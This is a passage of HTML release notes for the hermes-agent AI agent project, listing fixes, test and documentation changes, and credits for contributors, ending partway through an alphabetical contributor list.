<li>Route <code>auxiliary.vision.provider=openai</code> to api.openai.com, skip text-only main. (<a href="https://github.com/NousResearch/hermes-agent/pull/31452" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/31452/hovercard">#31452</a>)</li>
<li>Lint: skip per-file shell linter when LSP will handle the file. (<a href="https://github.com/NousResearch/hermes-agent/pull/29054" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/29054/hovercard">#29054</a>)</li>
<li>Treat empty credential pool entries as unauthenticated in <code>/model</code> picker. (<a href="https://github.com/NousResearch/hermes-agent/pull/28312" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/28312/hovercard">#28312</a>)</li>
<li>Reverted within window: Firecrawl integration tag, send_message @username auto-mentions, Telegram quick-command-only menus, Telegram pin-on-turn.</li>
</ul>
<hr>
<h2>🧪 Testing</h2>
<ul>
<li>Disarm lazy-install probe so <code>_HAS_FASTER_WHISPER</code> patches work. (<a href="https://github.com/NousResearch/hermes-agent/pull/30334" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/30334/hovercard">#30334</a>)</li>
<li>Cover default board dashboard pin. (<a href="https://github.com/NousResearch/hermes-agent/pull/28361" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/28361/hovercard">#28361</a>)</li>
<li>Cover <code>_task_dict</code> <code>task_age</code> fallback. (<a href="https://github.com/NousResearch/hermes-agent/pull/28365" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/28365/hovercard">#28365</a>)</li>
<li>Allowlist <code>tmp_path</code> for <code>kanban_notify</code> artifact delivery tests. (<a href="https://github.com/NousResearch/hermes-agent/pull/30851" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/30851/hovercard">#30851</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/30852" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/30852/hovercard">#30852</a>)</li>
<li>Cover null output stream terminal events in Codex. (<a href="https://github.com/NousResearch/hermes-agent/pull/33137" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/33137/hovercard">#33137</a>)</li>
</ul>
<hr>
<h2>📚 Documentation</h2>
<ul>
<li><strong>30-day docs overhaul</strong> — full correctness audit, every PR in the window covered, Nous Portal weave, sidebar reorg. (<a href="https://github.com/NousResearch/hermes-agent/pull/33782" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/33782/hovercard">#33782</a>)</li>
<li>Dedicated Nous Portal integration page and setup guide. (<a href="https://github.com/NousResearch/hermes-agent/pull/31296" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/31296/hovercard">#31296</a>)</li>
<li>Providers: move Nous Portal first, Google Gemini OAuth last. (<a href="https://github.com/NousResearch/hermes-agent/pull/31287" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/31287/hovercard">#31287</a>)</li>
<li><code>session_search</code> rewrite for single-shape tool. (<a href="https://github.com/NousResearch/hermes-agent/pull/27840" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/27840/hovercard">#27840</a>)</li>
<li>Kanban: document failure_limit, max_retries, inline create shortcuts, goals &amp; kanban settings. (<a href="https://github.com/NousResearch/hermes-agent/pull/28357" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/28357/hovercard">#28357</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/28358" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/28358/hovercard">#28358</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/28359" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/28359/hovercard">#28359</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/28360" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/28360/hovercard">#28360</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/28362" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/28362/hovercard">#28362</a>)</li>
<li>Kanban Codex lane skill. (<a href="https://github.com/NousResearch/hermes-agent/pull/28430" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/28430/hovercard">#28430</a>)</li>
<li>xAI OAuth: note X Premium+ also unlocks Grok OAuth. (<a href="https://github.com/NousResearch/hermes-agent/pull/29055" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/29055/hovercard">#29055</a>)</li>
<li>Docs site: Docker audio bridge notes, "Installing more tools in the container", xurl auth HOME in Docker.</li>
<li>Email: clarify gateway vs Himalaya setup. (<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/helix4u/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/helix4u">@helix4u</a>) (<a href="https://github.com/NousResearch/hermes-agent/pull/33634" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/33634/hovercard">#33634</a>)</li>
<li>Auth docs: replace stale <code>hermes login</code> references with <code>hermes auth add</code>. (<a href="https://github.com/NousResearch/hermes-agent/pull/32859" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/32859/hovercard">#32859</a>)</li>
</ul>
<hr>
<h2>👥 Contributors</h2>
<h3>Core</h3>
<ul>
<li><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a> (lead)</li>
</ul>
<h3>Notable salvages &amp; cherry-picks</h3>
<ul>
<li><strong><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/benbarclay/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/benbarclay">@benbarclay</a></strong> — s6-overlay container supervision (29 commits salvaged), Node 22 LTS upgrade, build-essential cleanup, <code>gateway run</code> auto-redirect in s6, tee supervised stdout to docker logs, <code>hermes update</code> Docker guidance, build-time SHA stamping</li>
<li><strong><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/OutThisLife/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/OutThisLife">@OutThisLife</a></strong> — <code>hermes gui</code> desktop launcher, <code>mouse_tracking</code> DEC mode presets</li>
<li><strong><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/jquesnelle/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/jquesnelle">@jquesnelle</a></strong> — Windows installer hardening, <code>--branch</code> flag for <code>hermes update</code>, install.ps1 BOM strip / commit-pin</li>
<li><strong><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/alt-glitch/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/alt-glitch">@alt-glitch</a></strong> — Windows <code>dep_ensure</code> bootstrap, Nix package variants (<code>.#messaging</code>, <code>.#full</code>), install-method stamping, ACP browser bootstrap consolidation</li>
<li><strong><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/austinpickett/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/austinpickett">@austinpickett</a></strong> — <code>/update</code> slash command, dashboard checkboxes → <code>@nous-research/ui</code>, mobile dashboard polish, collapsible sidebar</li>
<li><strong><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/ethernet8023/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/ethernet8023">@ethernet8023</a></strong> — Nix <code>.#desktop</code> packaging, CI test slicing across GH Actions jobs, TUI clipboard copy fix</li>
<li><strong><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/kshitijk4poor/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/kshitijk4poor">@kshitijk4poor</a></strong> — doctor section banner + fail-and-issue helpers extraction, post-tag salvage cluster (curator-fallout, kanban SQLite hardening, install world-readable uv dirs, xAI bare-code paste)</li>
<li><strong><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/rewbs/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/rewbs">@rewbs</a></strong> — Nous JWT inference switch + refresh-token replay fix</li>
<li><strong><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Codename-11/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Codename-11">@Codename-11</a></strong> + <strong><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Schwartz10/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Schwartz10">@Schwartz10</a></strong> — session control API (REST + SSE + multimodal followup)</li>
<li><strong><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Niraven/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Niraven">@Niraven</a></strong> — kanban swarm topology helper</li>
<li><strong><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Interstellar-code/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Interstellar-code">@Interstellar-code</a></strong> — kanban worker visibility endpoints</li>
<li><strong><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/adybag14-cyber/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/adybag14-cyber">@adybag14-cyber</a></strong> — termux cold-start optimizations (multiple PRs)</li>
<li><strong><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/qike-ms/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/qike-ms">@qike-ms</a></strong> — Telegram in-place status edits design</li>
<li><strong><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/sprmn24/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/sprmn24">@sprmn24</a></strong> — ntfy adapter</li>
<li><strong><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Jaaneek/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Jaaneek">@Jaaneek</a></strong> — xAI Web Search provider plugin</li>
<li><strong><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/yannsunn/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/yannsunn">@yannsunn</a></strong> — xAI upstream adapter for <code>hermes proxy</code></li>
<li><strong><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Cybourgeoisie/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Cybourgeoisie">@Cybourgeoisie</a></strong> — OpenRouter sticky routing via session_id</li>
<li><strong><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/memosr/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/memosr">@memosr</a></strong> — Nous Portal base_url allowlist validation</li>
<li><strong><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Sunil123135/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Sunil123135">@Sunil123135</a></strong> — Windows Docker Desktop compose file</li>
<li><strong><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Dusk1e/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Dusk1e">@Dusk1e</a></strong> — Docker HOME alignment for dashboard + s6 gateway services</li>
<li><strong><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/beardthelion/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/beardthelion">@beardthelion</a></strong> — opencode-go anthropic_messages routing</li>
<li><strong><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/YLChen-007/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/YLChen-007">@YLChen-007</a></strong> — Skills Guard multi-word prompt patterns</li>
<li><strong><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/roadhero/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/roadhero">@roadhero</a></strong> — env_passthrough GHSA-rhgp-j443-p4rf filter</li>
<li><strong><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Zyrixtrex/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Zyrixtrex">@Zyrixtrex</a></strong> — Google Chat OAuth credential persistence hardening</li>
<li><strong><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/briandevans/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/briandevans">@briandevans</a></strong>, <strong><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/tomqiaozc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/tomqiaozc">@tomqiaozc</a></strong> — defense-in-depth read-deny on credential stores</li>
<li><strong><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/PratikRai0101/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/PratikRai0101">@PratikRai0101</a></strong> — control-plane file write protection</li>
<li><strong><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/helix4u/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/helix4u">@helix4u</a></strong>, <strong><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Bartok9/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Bartok9">@Bartok9</a></strong>, <strong><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/zccyman/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/zccyman">@zccyman</a></strong> — auxiliary fallback ladder components</li>
<li><strong><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/ms-alan/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/ms-alan">@ms-alan</a></strong>, <strong><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/ticketclosed-wontfix/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/ticketclosed-wontfix">@ticketclosed-wontfix</a></strong>, <strong><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/donovan-yohan/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/donovan-yohan">@donovan-yohan</a></strong> — TUI session orchestrator + follow-ups</li>
<li><strong>@daimon-nous[bot]</strong> — cron per-job profile support</li>
<li><strong><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/bisko/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/bisko">@bisko</a></strong> — re-pad <code>reasoning_content</code> on cross-provider fallback</li>
</ul>
<h3>All Contributors</h3>
<p><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/02356abc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/02356abc">@02356abc</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/0xchainer/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/0xchainer">@0xchainer</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/0xDevNinja/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/0xDevNinja">@0xDevNinja</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/0xjackyang/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/0xjackyang">@0xjackyang</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/0xsir0000/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/0xsir0000">@0xsir0000</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/0z1-ghb/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/0z1-ghb">@0z1-ghb</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/8bit64k/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/8bit64k">@8bit64k</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/aaronlab/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/aaronlab">@aaronlab</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/AceWattGit/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/AceWattGit">@AceWattGit</a>,<br>
<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/ACR27/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/ACR27">@ACR27</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/adam91holt/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/adam91holt">@adam91holt</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/AdamPlatin123/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/AdamPlatin123">@AdamPlatin123</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Ade5954/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Ade5954">@Ade5954</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/AdityaRajeshGadgil/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/AdityaRajeshGadgil">@AdityaRajeshGadgil</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/adybag14-cyber/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/adybag14-cyber">@adybag14-cyber</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/AhmetArif0/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/AhmetArif0">@AhmetArif0</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/ai-hana-ai/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/ai-hana-ai">@ai-hana-ai</a>,<br>
<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/alaamohanad169-ship-it/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/alaamohanad169-ship-it">@alaamohanad169-ship-it</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/alber70g/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/alber70g">@alber70g</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/albert748/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/albert748">@albert748</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/alt-glitch/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/alt-glitch">@alt-glitch</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/aqilaziz/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/aqilaziz">@aqilaziz</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/argabor/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/argabor">@argabor</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/asdlem/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/asdlem">@asdlem</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/austinpickett/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/austinpickett">@austinpickett</a>,<br>
<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/avifenesh/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/avifenesh">@avifenesh</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/awizemann/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/awizemann">@awizemann</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/B0Tch1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/B0Tch1">@B0Tch1</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Bartok9/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Bartok9">@Bartok9</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/BaxBit/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/BaxBit">@BaxBit</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Beandon13/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Beandon13">@Beandon13</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/beardthelion/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/beardthelion">@beardthelion</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/benbarclay/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/benbarclay">@benbarclay</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/bensargotest-sys/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/bensargotest-sys">@bensargotest-sys</a>,<br>
<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/binhnt92/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/binhnt92">@binhnt92</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/bird/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/bird">@bird</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/bisko/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/bisko">@bisko</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/BlackishGreen33/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/BlackishGreen33">@BlackishGreen33</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/booker1207/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/booker1207">@booker1207</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/bradhallett/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/bradhallett">@bradhallett</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/briandevans/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/briandevans">@briandevans</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Brixyy/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Brixyy">@Brixyy</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/brndnsvr/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/brndnsvr">@brndnsvr</a>,<br>
<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/BROCCOLO1D/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/BROCCOLO1D">@BROCCOLO1D</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/btorresgil/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/btorresgil">@btorresgil</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/burjorjee/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/burjorjee">@burjorjee</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/carltonawong/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/carltonawong">@carltonawong</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Carry00/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Carry00">@Carry00</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/chaconne67/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/chaconne67">@chaconne67</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/chdlc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/chdlc">@chdlc</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/chromalinx/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/chromalinx">@chromalinx</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/ChyuWei/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/ChyuWei">@ChyuWei</a>,<br>
<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/CipherFrame/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/CipherFrame">@CipherFrame</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/cmullins70/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/cmullins70">@cmullins70</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/CNSeniorious000/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/CNSeniorious000">@CNSeniorious000</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/codeblackhole1024/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/codeblackhole1024">@codeblackhole1024</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Codename-11/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Codename-11">@Codename-11</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/colin-chang/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/colin-chang">@colin-chang</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/counterposition/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/counterposition">@counterposition</a>,<br>
<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/cresslank/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/cresslank">@cresslank</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/CryptoByz/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/CryptoByz">@CryptoByz</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/cyb0rgk1tty/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/cyb0rgk1tty">@cyb0rgk1tty</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Cybourgeoisie/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Cybourgeoisie">@Cybourgeoisie</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/daizhonggeng/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/daizhonggeng">@daizhonggeng</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/darvsum/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/darvsum">@darvsum</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/davidcampbelldc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/davidcampbelldc">@davidcampbelldc</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/deas/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/deas">@deas</a>,<br>
